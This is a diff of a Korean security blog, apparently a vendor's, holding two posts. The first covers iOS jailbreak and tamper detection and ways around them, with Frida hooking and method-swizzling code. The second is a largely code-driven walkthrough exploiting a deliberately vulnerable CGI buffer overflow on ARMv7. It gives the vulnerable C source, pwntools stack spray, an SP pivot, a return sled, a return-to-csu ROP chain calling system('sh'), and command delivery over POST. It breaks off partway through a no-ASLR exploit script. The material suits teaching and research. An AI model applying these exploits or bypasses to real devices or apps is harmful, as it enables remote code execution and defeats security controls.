+프로세스에 로딩된 라이브러리 중 탈옥환경에서 실행 가능한 후킹 도구, tweak 관련 모듈명(ex, Substrate, TweakInject, cycript, SBInject, pspawn, rocketbootstrap, colorpicker, CS, bfdecrypt 등) 검사를 통해 jailbreak을 탐지한다.

+ +

- fork 시도
+sandbox로 인해 순정 단말기 내 앱 프로세스는 fork() 이용이 불가하나, sandbox 제한 없는 탈옥단말기에서는 가능하다. jailbreak 단말기에서 fork() 실행 후, 결과 값 확인을 통한 정상 실행 여부 검사한다.

+ +

- Schema 확인 
+Android와 마찬가지로 iOS도 custom URL을 지원한다. 탈옥 관련 앱들(Cydia, Sileo, zbra, undecimus, iFile 등) 존재 여부 파악을 위해, URL Schema를 이용하여 앱 실행 여부를 확인한다. 

+ +

- Shell 실행
+system()은 SHELL_PATH로 /bin/sh를 이용하나, 순정디바이스에서는 /bin/sh 접근이 불가하다. system()는 쉘 이용 불가 시, 0을 반환한다. 탈옥단말기에서는 /bin/sh에 접근이 가능하므로, system() 정상 실행이 가능하다. 

+ +

- Binding Port 확인
+탈옥환경에서 hooking 도구인 Frida를 이용하여 실행 파일 분석이 가능하다. Frida는 27042 port를 default로 이용한다. socket 생성 후, connect()를 이용하여 frida default port open 여부를 확인한다.

+ +

- symbolic link 확인
+iOS에는 크게 2개의 영역이 존재한다. 하나는 용량이 적은 read-only system 영역이고, 다른 하나는 data 영역이다. jailbreak 툴들은 공간이 작은 system 영역 대신 data 영역에 thirdparty software를 저장하고, symbolic link를 통해 연결해놓는다. 파일, 폴더의 symbolic link를 확인한다. 

+ +

2) 앱 위변조 탐지 

+ +

- Binary File 기반 hash 검증
+Mac에서 제공하는 API를 이용하여 앱 실행 파일 경로 획득, 파일 접근이 가능하다. 이후 파일  해쉬 생성을 통해 위변조 검증이 가능하다.

+ +

- Memory 기반 hash 검증
+메모리상에서 실행 모듈 base 주소 획득 후 접근하여 data(실행 파일 전체, Code section, File signature 등) Hash, 암호화를 통해 검증할 수 있다. 주로 코드 섹션 __TEXT 세그먼트의 __text 섹션의 해시를 검증한다.

+ +

text_section

+ +

3. 우회 기법

+ +

1) Mach-O Load Commands

+ +

iOS 애플리케이션의 바이너리는 Mach-O구조로 이루어진다. Mach-O는Header, Load Commands, Data로 이루어져 있다. Load Commands는 다수의 Command를 포함하며 동적 라이브러리는 Command영역에 정의한다. 동적 라이브러리는 iOS운영체제에 존재하는 기본 라이브러리와 애플리케이션 개발자가 삽입한 동적 라이브러리가 포함된다. 다수의 동적 라이브러리가 정의된 경우 Command 순서대로 라이브러리가 로드된다.

+ +

file_format

+ +

공격자는 애플리케이션 바이너리의 Load Commands를 조작하여 악의적인 동적 라이브러리 삽입이 가능하다. 공격자의 동적 라이브러리가 첫 번째로 정의된 경우, 애플리케이션의 바이너리 코드와 기타 보안 모듈의 동적 라이브러리보다 먼저 호출된다. 보안 모듈보다 먼저 호출된 동적 라이브러리는 메모리 조작을 통해 보안 모듈을 손쉽게 무력화한다. 

+ +

2) DYLD_INSERT_LIBRARIES

+ +

순정단말기에서는 앱을 리패키징하여 메모리 접근할 수 있으나, 최고(root) 권한 이용 가능한 device에서는 시스템 환경변수를 통한 라이브러리 삽입이 가능하다. 그러므로 탈옥환경에서는 앱 위변조 우회하지 않은 상태에서 로직 변조가 가능하다. 

+ +

3) 메모리 해킹

+ +

공격자의 동적 라이브러리는 애플리케이션의 메모리에 자유롭게 접근한다. 보안 모듈의 디버깅 방지 기능은 타 프로세스에서의 접근을 방지하므로 동적 라이브러리 삽입을 통한 메모리 접근은 디버깅 방지 기능에 영향을 받지 않는다. 함수 후킹을 위해서 함수 시작 부분의 명령어나 주소 테이블 내 주소를 변조할 수있다. Frida를 이용하여 API 인라인 후킹을 구현한 코드는 다음과 같다.

+

#대상 프로세스 attach
session = host.attach(TARGE_PID)
#스크립트 로드
script.session.create_script('''
Interceptor.attach(
    Module.findExportByName(null,"fopen"),{ //fopen 함수를 찾는다.
       onEnter: function(args){
           if(args[0].isNull())return;
           var path=args[0].readUtf8String();  //현재 fopen 함수의 인자를 출력한다.
           console.log("[+] fopen "+path);     //인자로 전달된 원본파일명
           if(path.match("TARGET_PATH")){
              console.log(" --> Change It!!");
              args[0].writeUtf8String("CHANGED_PATH"); //후킹하여 변조하는 인자
           }
        }
    });
''')
script.on('message',on_message)
script.load()

+ +

4) 메소드 스위즐링

+ +

Objective-C는 클래스의 메소드를 호출할 때, 함수 주소에 의한 호출이 아닌 객체에 메시지를 전송하여 메소드를 호출한다. 메시지를 받은 객체는 dispatch table에서 각 메시지에 해당하는 메소드를 호출한다. Objective-C의 메소드 호출 방식으로 인해 메소드 교체가 가능하다. iOS는 특정 메소드의 구현을 변경하는API를 제공한다.

+ +

공격자의 동적 라이브러리는 애플리케이션의 클래스와 메소드에 자유롭게 접근 가능하다.

+ +

method_exchangeImplementations API를 이용하여 메소드 스위즐링을 구현한 코드는 다음과 같다.

+ +

#include <objc/runtime.h>

#include <objc/message.h>

// 스위즐링 대상 클래스와 메소드를 가져온다

Class clsTarget = objc_getClass(“TARGET_CLASS_NAME”);

Method methodOrg = class_getInstanceMethod(clsTarget, @selector(TARGET_SELECTOR));

 

// 스위즐링 대상 클래스에 공격자의 메소드를 삽입한다

class_addMethod(clsTarget, @selector(MY_SELECTOR));

 

// 스위즐링 대상 클래스에 존재하는 메소드와 삽입한 메소드를 교체(스위즐링)한다

Method methodNew = class_getInstanceMethod(clsTarget, @selector(MY_SELECTOR));

method_exchangeImplementations(methodOrg, methodNew);

+ +

4. 대응 방안

+ +

 본 게시글에서 앱 보안 기술과 더불어 우회 기법을 소개하였다. 공격자로부터 앱을 보호하기 위해 다양한 보안 기술을 탑재한 보안 솔루션들이 존재한다. 국내 iOS 앱 보안 솔루션 총 5개에 본 게시글에서 소개하는 우회 기법을 적용한 결과, AppSuit를 제외한 타 솔루션들의 탈옥 탐지와 위변조 탐지 로직 무력화가 가능하였다. 소개한 기법을 이용하여 보안 솔루션들이 무력화되므로 안전한 iOS 앱 보안을 위해 전문적인 보안 솔루션 적용을 권고한다.

+ +
+
+
+ +
+
+
함세련, 고기완
+
srham@stealien.com, gogil@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2020-08-20/cgi_exploit.html b/docs/2020-08-20/cgi_exploit.html new file mode 100644 index 0000000..042e9ae --- /dev/null +++ b/docs/2020-08-20/cgi_exploit.html @@ -0,0 +1,1183 @@ + + + + + + + + + + +Common ways to exploit CGI Buffer overflow. + +Common ways to exploit CGI Buffer overflow. | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Common ways to exploit CGI Buffer overflow.
+
+
+ + 김도현 +
+
Aug 20, 2020
+
+
+
+
+
+

Common ways to exploit CGI Buffer overflow.

+ +

다양한 임베디드 서비스 및 IoT에서 사용되는 CGI 프로그램을 공격하는 일반적인 방법에 대해 알아 보겠습니다.

+ +

Common Gateway Interface

+ +

CGI는 웹 서버상에서 사용자 프로그램을 동작시키기 위한 조합입니다. 존재하는 많은 웹 서버 프로그램은 CGI의 기능을 이용할 수 있습니다. CGI는 환경변수나 표준입출력을 다룰 수 있는 프로그램 언어에서라면 언어의 구별을 묻지 않고 확장하여 이용하는 것이 가능하나, 실행속도나 텍스트 처리의 용이함 등의 균형에 의해 펄이 사용되는 경우가 많았습니다.[^1]

+ +

CGI는 주로 Router, NAS와 같은 다양한 Embedded device, IoT Service를 위해 사용됩니다.

+ +
                | Server
+                |
++--------+      |       +-------------+       +-------------+
+| Client |<=---HTTP---=>| HTTP Server |<=---=>| CGI Program |
++--------+      |       +-------------+       +-------------+
+                |
+                |
+
+ +

CGI: How-to

+ +

Lighttpd1와 같이 HTTP 프로토콜을 처리하여 CGI 프로그램으로 전달 할 수 있는 웹 서버 역할을 하는 프로그램을 한가지 선정합니다. 그 후에 CGI 규약에 맞게 프로그램을 작성하면 됩니다. 본 챕터에서는 공격하기 위해 알아야하는 몇가지를 설명하겠습니다.

+ +

환경변수

+ +

환경변수에는 HTTP 프로토콜을 통해 클라이언트에게 제공받은 정보가 저장됩니다.

+ +

임의로 변조된 사용자의 값이 전달 될 수 있는 벡터는 다음과 같습니다.2

+ +
    +
  • HTTP_COOKIE : 클라이언트의 Cookie입니다.
  • +
  • HTTP_USER_AGENT : 클라이언트의 User agent입니다.
  • +
  • QUERY_STRING : 클라이언트에게 제공받은 GET 쿼리 문자열입니다.
  • +
+ +

표준입출력

+ +

표준 출력을 통해 cgi 페이지로 접근한 클라이언트에게 그 내용을 전달할 수 있습니다.

+ +

POST와 같은 HTTP Method를 서비스 하기 위해 CGI에서는 표준입력을 사용합니다. POST의 데이터를 전달 받기 위해서는 단순히 표준입력을 받기만 하면 우리는 POST를 통해 전달 된 데이터를 받아낼 수 있습니다.

+ +

CGI 공격

+ +

vuln.c

+ +
#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+char *param;
+int param_count;
+
+static inline char h2c(char h) // F -> 15
+{
+    if (h >= 'a' && h <= 'f')
+        return h - 'a' + 0xa;
+    if (h >= 'A' && h <= 'F')
+        return h - 'A' + 0xa;
+    return h - '0';
+}
+
+char u2c(char *u) // %00 -> \x00
+{
+    char ret = 0;
+
+    if (*u == '%')
+    {
+        ret += h2c(*(u+1)) * 0x10;
+        ret += h2c(*(u+2)) * 0x01;
+    }
+
+    return ret;
+}
+
+int urldecode(char *s)
+{
+    int index1 = 0;
+    int index2 = 0;
+
+    if (!s)
+        return 1;
+
+    if (s[index2] == '?')
+        index2++;
+
+    param = s;
+    param_count = 0;
+
+    while (s[index2])
+    {
+        if (s[index2] == '%')
+        {
+            s[index1++] = u2c(s+index2);
+            index2 += 3;
+        }
+        else if (s[index2] == '&')
+        {
+            s[index1++] = '\0';
+            index2++;
+        }
+        else
+        {
+            if (s[index2] == '=')
+                param_count++;
+            s[index1++] = s[index2++];
+        }
+    }
+
+    s[index1] = '\0';
+
+    return 0;
+}
+
+int get_val(char *name, char *dest, size_t size)
+{
+    int err = 1;
+    char *param_c = param;
+    size_t param_len = strlen(param_c);
+    size_t name_len = strlen(name);
+
+    if (!param || !param_count)
+    {
+        printf("no query.\n");
+        return 1;
+    }
+
+    for (int i = 0; i < param_count; i++)
+    {
+        if (!memcmp(name, param_c, name_len) && param_c[name_len] == '=')
+        {
+            param_c += name_len + 1;
+            strncpy(dest, param_c, size);
+            err = 0;
+            break;
+        }
+        else
+        {
+            param_c += param_len+1;
+            param_len = strlen(param_c);
+        }
+    }
+
+    return err;
+}
+
+int main(int argc, char **argv, char **envp)
+{
+    char out[512];
+    char cmd[256];
+    char buf[256];
+
+    if (urldecode(getenv("QUERY_STRING")))
+    {
+        printf("urldecode error.\n");
+        return -1;
+    }
+
+    memset(out, 0, sizeof(out));
+    memset(cmd, 0, sizeof(cmd));
+    memset(buf, 0, sizeof(buf));
+
+    if (!get_val("time", buf, sizeof(buf)) && buf[0] == 'y')
+        strcat(cmd, "echo '- time ------' >> /tmp/out && date >> /tmp/out;");
+    if (!get_val("ifconfig", buf, sizeof(buf)) && buf[0] == 'y')
+        strcat(cmd, "echo '- ifconfig --' >> /tmp/out && ifconfig bond0 >> /tmp/out;");
+    if (!get_val("uname", buf, sizeof(buf)) && buf[0] == 'y')
+        strcat(cmd, "echo '- uname -----' >> /tmp/out && uname -a >> /tmp/out;");
+
+    system("rm -f /tmp/out");
+    system(cmd);
+
+    int fd;
+    if ((fd = open("/tmp/out", O_RDONLY)) < 0)
+        return -1;
+    read(fd, out, sizeof(out));
+    close(fd);
+
+    if (!get_val("comment", buf, 0x100))
+        strcat(out, buf);
+
+    puts(out);
+    return 0;
+}
+
+ +

위 샘플 코드는 시스템의 time, ifconfig, uname의 결과값을 출력 해 주는 간단한 프로그램입니다.

+ +
    +
  • L109 +QUERY_STRING을 통해 인풋 받는 GET Query의 디코딩을 처리합니다.
  • +
  • L119~124 +time, ifconfig, uname을 실행하는 명령어 조합을 cmd 버퍼에 복사합니다.
  • +
  • L126~127 +/tmp/out을 삭제 후 cmd 버퍼의 내용대로 명령어를 실행합니다.
  • +
  • L129~133 +/tmp/out 파일을 읽어 out버퍼에 복사합니다.
  • +
  • L135~136 +comment 의 값이 유효할 경우 그 값을 out 버퍼에 복사합니다.
  • +
  • L138 +out을 출력합니다.
  • +
+ +

L136에서 strncat 대신 strcat3을 사용하기 때문에, out 버퍼에 이미 많은 양의 데이터가 채워져 있을 경우의 예외를 처리하지 않습니다. 이로 인해 Buffer overflow4가 발생하게 됩니다.

+ +

취약점 증명

+ +

취약점을 증명하기 위해 간단히 웹 브라우저를 사용할 수 있습니다.

+ +

image-20200819160551819

+ +

위는 정상적인 프로그램의 실행 흐름을 나타냅니다.

+ +

image-20200819160732064

+ +

위는 다수의 데이터를 comment 파라미터를 통해 전달 할 경우를 보여줍니다.

+ +

Lighttpd의 경우 다음과 같이 core dump를 활성화 시킬 수 있습니다. cgi 프로그램이 존재하는 디렉토리에 core dump가 생성됩니다.

+ +
$ echo 'server.core-files = "enable"' >> /etc/lighttpd.conf
+$ kill -9 `pidof lighttpd`
+$ lighttpd -f /etc/lighttpd.conf -m /usr/local/lib
+
+ +

그 후, 해당 프로그램의 core dump를 확인합니다.

+ +
/home/314ckC47 # ./gdb -q -c /path/to/core
+[New LWP 6007]
+Core was generated by `vuln.cgi'.
+Program terminated with signal 11, Segmentation fault.
+#0  0x61616160 in ?? ()
+(gdb) i r pc
+pc             0x61616160       0x61616160
+
+ +

$pc 레지스터가 변조 된 것을 알 수 있습니다.

+ +

공격 제약

+ +

일반적인 BOF 공격은 Return Oriented Programming(ROP)5을 주로 사용합니다.

+ +

하지만 이번 취약점을 공격하기에는 몇가지 제약이 있습니다.

+ +
    +
  • 문자열 복사를 통해 발생하는 Buffer overflow이기 때문에, ROP Payload에 Null byte가 포함 될 경우 성공적으로 공격을 수행할 수 없습니다.
  • +
  • 공격에 사용할 수 있는 정적인 주소가 프로그램(vuln.cgi)이 로드 된 지점밖에 없습니다.
  • +
  • 프로그램이 로드 된 주소값의 상위 1바이트는 Null-byte입니다.
  • +
+ +

이런 상황에서 구상할 수 있는 Payload는 다음과 같습니다.

+ +
<= 0x00000000                       0xffffffff =>
++-----+-(out)---------------+-(BP)-+-(PC)-+-----+
+| ... | ............ 'a'*63 | BASE | JUMP | ... |
++-----+---------------------+------+------+-----+
+                      === Overflow ==>
+
+ +
    +
  • JUMP에는 상위 1바이트가 Null-byte인 주소값을 삽입할 수 있습니다.
  • +
  • BASE에는 Null-byte가 존재하지 않는 어떤 값을 삽입할 수 있습니다.
  • +
+ +

이런 모든 조건을 종합 해 보았을 때, 우리는 다음과 같이 공격을 구상해야합니다.

+ +
    +
  • PC를 단 한번 변조하여 공격자가 원하는 코드의 흐름을 획득 해야합니다. +
      +
    • 연속적인 함수의 호출 또는 인자의 구성을 위해 Null-byte를 삽입할 수 있는 영역이 필요합니다.
    • +
    • 연속적인 함수의 호출 또는 인자의 구성을 위해 SP를 변조할 수 있어야 합니다.
    • +
    +
  • +
+ +

Stack spray

+ +

QUERY_STRING 환경변수는 스택에 저장되어 있습니다. 이를 활용하면 다음과 같이 Stack spray를 시도 할 수 있습니다.

+ +
#!/usr/bin/python3
+
+from pwn import *
+
+e = ELF("./vuln")
+
+def form_packet(ip, param):
+    packet  = ""
+    packet += "GET http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
+    packet += "Host: {}\r\n".format(ip)
+    packet += "Connection: keep-alive\r\n"
+    packet += "Content-Length: 0\r\n"
+    packet += "User-Agent: Mozilla/5.0\r\n"
+    packet += "Accept: */*\r\n"
+    packet += "Origin: http://{}\r\n".format(ip)
+    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
+    packet += "Accept-Encoding: gzip, deflate\r\n"
+    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
+    packet += "\r\n"
+    return packet.encode()
+
+def form_param(payload, spray):
+    return "&".join(["ifconfig=y", "comment="+payload, "s="+spray])
+
+def exploit(ip):
+    payload = 'a'*63 + "STCK" + "JUMP"
+    spray   = 'b'*0x10000
+    param   = form_param(payload, spray)
+    packet  = form_packet(ip, param)
+
+    p = remote(ip, 80)
+    p.send(packet)
+    r = p.recv(1024).decode()
+    log.info(r)
+    p.close()
+
+if __name__ == "__main__":
+    if (len(sys.argv) == 2):
+        exploit(sys.argv[1])
+    else:
+        print("{} [target-ip]".format(sys.argv[0]))
+
+ +

실제로 스택에 스프레이가 되었는지 확인합니다.

+ +
(gdb) x/16wx $sp+0x380
+0xbec65db8:     0x61616161      0x61616161      0x61616161      0x61616161
+0xbec65dc8:     0x64646161      0x44446464      0x73004444      0x6262623d
+0xbec65dd8:     0x62626262      0x62626262      0x62626262      0x62626262
+0xbec65de8:     0x62626262      0x62626262      0x62626262      0x62626262
+(gdb) x/16wx $sp+0x380+0x10000
+0xbec75db8:     0x62626262      0x62626262      0x62626262      0x62626262
+0xbec75dc8:     0x62626262      0x62626262      0x62626262      0x45520062
+0xbec75dd8:     0x53455551      0x52555f54      0x762f3d49      0x2e6e6c75
+0xbec75de8:     0x3f696763      0x6f636669      0x6769666e      0x6326793d
+(gdb)
+
+ +

스프레이가 잘 되었음을 확인 했습니다.

+ +

또한 Null-byte의 삽입이 가능한지의 여부를 확인합니다.

+ +
# ...
+def exploit(ip):
+    payload = 'a'*63 + 'dddd' + 'DDDD'
+    spray   = '%00'*4 + 'b'*(0x10000-12)
+    param   = form_param(payload, spray)
+    packet  = form_packet(ip, param)
+# ...
+
+ +

4바이트의 null을 삽입 해 봅니다.

+ +
(gdb) x/16wx $sp+0x380
+0xbed44db8:     0x61616161      0x61616161      0x61616161      0x61616161
+0xbed44dc8:     0x64646161      0x44446464      0x73004444      0x0000003d
+0xbed44dd8:     0x62626200      0x62626262      0x62626262      0x62626262
+0xbed44de8:     0x62626262      0x62626262      0x62626262      0x62626262
+(gdb) x/16wx $sp+0x380+0x10000
+0xbed54db8:     0x62626262      0x62626262      0x62626262      0x62626262
+0xbed54dc8:     0x62626262      0x62620062      0x62626262      0x45520062
+0xbed54dd8:     0x53455551      0x52555f54      0x762f3d49      0x2e6e6c75
+0xbed54de8:     0x3f696763      0x6f636669      0x6769666e      0x6326793d
+(gdb)
+
+ +

Null-byte를 삽입할 수 있는 영역임을 확인 했습니다.

+ +

Stack Pointer 변조

+ +

armv7에서 R11 레지스터는 x86의 ebp와 같은 역할을 수행합니다.

+ +
(gdb) disas main
+...
+   0x00010c9c <+624>:   mov     r0, r3      // -- main epilogue --
+   0x00010ca0 <+628>:   sub     sp, r11, #4 // r11(bp)에서 4를 뺀 값을 sp에 저장합니다.
+   0x00010ca4 <+632>:   pop     {r11, pc}   // 스택에서 r11, pc를 순차적으로 pop합니다.
+...
+
+ +

이를 활용하면 Stack pointer(sp)를 변조할 수 있습니다.

+ +

아래와 같은 순서의 명령을 수행한다고 가정합니다.

+ +
### Stage 1 ######################################################
++-Code-------------+---------------------------------------------+
+| pc  > 0x00010ca0 | sub  sp, r11, #4                            |
+|       0x00010ca4 | pop  {r11, pc}                              |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp    0xbfff8f00                                               |
+| r11   0xbfff8f14                                               |
++----------------------------------------------------------------+
+
+### Stage 2 ######################################################
++-Code-------------+---------------------------------------------+
+|       0x00010ca0 | sub  sp, r11, #4                            |
+| pc  > 0x00010ca4 | pop  {r11, pc}                              |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp    0xbfff8f10 *                                             |
+| r11   0xbfff8f14                                               |
++----------------------------------------------------------------+
+* r11에서 4를 뺀 값을 sp에 넣었습니다.
+
+### Stage 3 ######################################################
++-Code-------------+---------------------------------------------+
+| pc  > 0x00010ca0 | sub  sp, r11, #4                            |
+|       0x00010ca4 | pop  {r11, pc}                              |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp    0xbfff8f10                                               |
+| r11   0xbfff8f24 *                                             |
++----------------------------------------------------------------+
+* sp(0xbfff8f10)에서 r11, pc를 pop 했습니다.
+
+### Stage 4 ######################################################
++-Code-------------+---------------------------------------------+
+|       0x00010ca0 | sub  sp, r11, #4                            |
+| pc  > 0x00010ca4 | pop  {r11, pc}                              |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp    0xbfff8f20 *                                             |
+| r11   0xbfff8f24                                               |
++----------------------------------------------------------------+
+* r11에서 4를 뺀 값을 sp에 넣었습니다.
+  sp의 값이 우리가 원하는 값(0xbfff8f20)으로 변조되었습니다.
+  
+### Stage 5 ######################################################
++-Code-------------+---------------------------------------------+
+| pc  > 0x41414141 | ........................................... |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+|       0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+|       0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+|       0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp    0xbfff8f28                                               |
+| r11   0x41414141                                               |
++----------------------------------------------------------------+
+* pc와 r11이 변조되었습니다.
+
+ +

위와 같은 방법으로 연속적인 함수의 호출 또는 인자의 구성을 위해 SP를 변조할 수 있습니다.

+ +

공격코드 작성

+ +

위 두가지 방법을 이용하면 다음과 같은 흐름으로 공격을 수행합니다.

+ +
    +
  1. QUERY_STRING을 전달함으로 BOF를 발생시키고, 스택에 ROP Payload를 spray합니다.
  2. +
  3. SP를 Stack spray된 영역으로 변조합니다.
  4. +
  5. ROP Payload를 수행합니다. +
      +
    1. ASLR이 비활성화 되어있으면, ROP Payload를 즉각적으로 수행 할 수 있습니다.
    2. +
    3. ASLR이 활성화 되어있으면, SP가 잘못된 영역을 역참조 할 수 있습니다. 이럴경우, 1을 다시 수행합니다.
    4. +
    +
  6. +
+ +

Case: ASLR 비활성화

+ +

다음과 같이 ASLR을 비활성화 할 수 있습니다.

+ +
# echo 0 > /proc/sys/kernel/randomize_va_space
+# cat /proc/sys/kernel/randomize_va_space
+0
+
+ +

ASLR이 비활성화 된 후, 스프레이를 먼저 수행하여 core dump를 확인합니다.

+ +
(gdb) x/32wx $sp+0x380
+0xbefe1d98:     0x6161616b      0x6161616c      0x6161616d      0x6161616e
+0xbefe1da8:     0xbefe1ddc      0x44444444      0x3d737300      0x41414141
+0xbefe1db8:     0x41414141      0x41414141      0x41414141      0x41414141
+0xbefe1dc8:     0x41414141      0x41414141      0x41414141      0x41414141
+0xbefe1dd8:     0x41414141      0x41414141      0x41414141      0x41414141
+
+ +

Stack spray가 0xbefe1db4에서 시작합니다. 해당 주소로 sp를 변조합니다.

+ +
SPRAY_LEN = 0xf000
+leave  = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
+
+def payload(r11, lr, dummy_len):
+    payload = cyclic(dummy_len).decode()
+    payload += purl32(r11)
+    payload += purl32(lr)
+    return payload
+
+def spray():
+    spray = "A"*SPRAY_LEN
+    return spray
+
+def exploit():
+# ...
+    stack  = 0xbefe1db4+4
+    pload  = payload(stack, leave, dummy_len)
+    param  = form_param(pload, spray())
+    packet = form_packet(ip, param, command)
+# ...
+
+ +

위의 코드를 실행 후 다시 gdb로 확인합니다.

+ +
(gdb) x/16wx $sp-0x10
+0xbefe1dac:     0x00010ca0      0x3d737300      0x41414141      0x41414141
+0xbefe1dbc:     0x41414141      0x41414141      0x41414141      0x41414141
+0xbefe1dcc:     0x41414141      0x41414141      0x41414141      0x41414141
+0xbefe1ddc:     0x41414141      0x41414141      0x41414141      0x41414141
+(gdb) i r pc
+pc             0x41414140       0x41414140
+(gdb)
+
+ +

정상적으로 pc가 변조되었습니다.

+ +

Return sled

+ +

Return sled를 이용하여 스프레이한 영역의 어느곳으로 sp, pc가 변조되어도 공격자의 ROP Payload가 실행되도록 합니다.

+ +
0x00010ca4: pop {r11, pc}
+0x000108e0: pop {r4, r11, pc}
+
+ +

위의 두 가젯을 활용합니다.

+ +
      ...
+|  0x00010ca4
+|  0x00010ca4
+|  0x000108e0
+|  0x00010ca4 # r4
+|  0x41414141 # r11
+V  [ROP HERE] # pc
+
+ +
def spray():
+    # ...
+	spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
+    spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
+    spray += rop
+    
+    return spray
+
+ +

ROP

+ +

Return-to-csu를 활용합니다.

+ +
def chain(func, r0, r1, r2):
+    c = ''
+    c += purl32(0x00000000) # r4
+    c += purl32(func)       # [r5] => r3
+    c += purl32(0x00000000) # r6
+    c += purl32(r0)         # r7 => r0
+    c += purl32(r1)         # r8 => r1
+    c += purl32(r2)         # r9 => r2
+    c += purl32(0x00000000) # r10
+    c += purl32(csu_2)      # pc
+    return c
+
+def spray():
+    #...
+	# Return-to-csu.
+    rop = purl32(csu_1)
+
+    # Set bss:0x20 to get_val address.
+    for i in range(4):
+        addr = e.bss(0x20+i)
+        value = e.symbols['get_val'] >> (i*8) & 0xff
+        rop += chain(e.got['memset'], addr, value, 1)
+
+    # get_val("t", bss:0x24, 2): returns "sh"
+    rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
+    rop += chain(e.got['system'], e.bss(0x24), 0, 0)
+    #...
+
+ +
    +
  • chain() 함수는 Return-to-csu 가젯을 자동으로 구성 해 줍니다.
  • +
  • L18~22 : bss:0x20 지점에 get_val 함수의 포인터를 작성합니다.
  • +
  • L25 : get_val 함수를 이용해 QUERY_STRING에서 t 쿼리의 값을 bss:0x24 지점에 작성합니다. 그 값은 "sh" 입니다.
  • +
  • L26 : system 함수를 이용해 쉘을 실행시킵니다.
  • +
+ +

명령어 전달

+ +

ROP Payload가 수행되고 나면, 쉘 프로세스가 실행되고, 명령어 입력까지 대기합니다.

+ +

POST 메소드를 이용해 Standard input으로 쉘 명령을 전달하여 실행시킵니다.

+ +
def form_packet(ip, param, content=''):
+    packet  = ""
+    packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
+    packet += "Host: {}\r\n".format(ip)
+    packet += "Connection: keep-alive\r\n"
+    packet += "Content-Length: {}\r\n".format(len(content))
+    packet += "User-Agent: Mozilla/5.0\r\n"
+    packet += "Accept: */*\r\n"
+    packet += "Origin: http://{}\r\n".format(ip)
+    packet += "Referer: http://{}/home.cgi\r\n".format(ip)
+    packet += "Accept-Encoding: gzip, deflate\r\n"
+    packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
+    packet += "\r\n"
+    packet += content
+    packet += "\r\n"
+    return packet.encode()
+
+ +

안정화 작업

+ +
def exploit(ip, command):
+
+    # ifconfig's output length is not fixed.
+    # So, we need to get the buffer first to calculate
+    # the overflow size.
+    log.info("Getting buffer.")
+    packet = form_packet(ip, form_param())
+    p = remote(ip, 80)
+    p.send(packet)
+    r = p.recv().decode()
+    r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
+    dummy_len = 0x204 - len(r)
+    p.close()
+
+    log.info("Exploit.")
+    stack  = 0xbefe1db4+4
+    pload  = payload(stack, leave, dummy_len)
+    param  = form_param(pload, spray())
+    packet = form_packet(ip, param, command)
+    p = remote(ip, 80)
+    p.send(packet)
+    p.close()
+
+    log.info("Success!")
+
+ +

ifconfig 명령의 출력값의 길이가 고정되어있지 않습니다.

+ +

오버플로우 사이즈를 안정적으로 계산하기 위해 ifconfig 명령 결과 버퍼의 길이값을 측정하고, 계산합니다.

+ +

no-ASLR 공격 코드

+ +
#!/usr/bin/python3
+
+from pwn import *
+
+e = ELF("./vuln")
+
+# Globals & Defines
+spray_fix = ''
+SPRAY_LEN = 0xf000
+EADDR_LEN = 12
+
+# Gadgets
+sled_1 = 0x00010ca4 # pop {r11, pc}
+sled_2 = 0x000108e0 # pop {r4, r11, pc}
+csu_1  = 0x00010d28
+csu_2  = 0x00010d0c
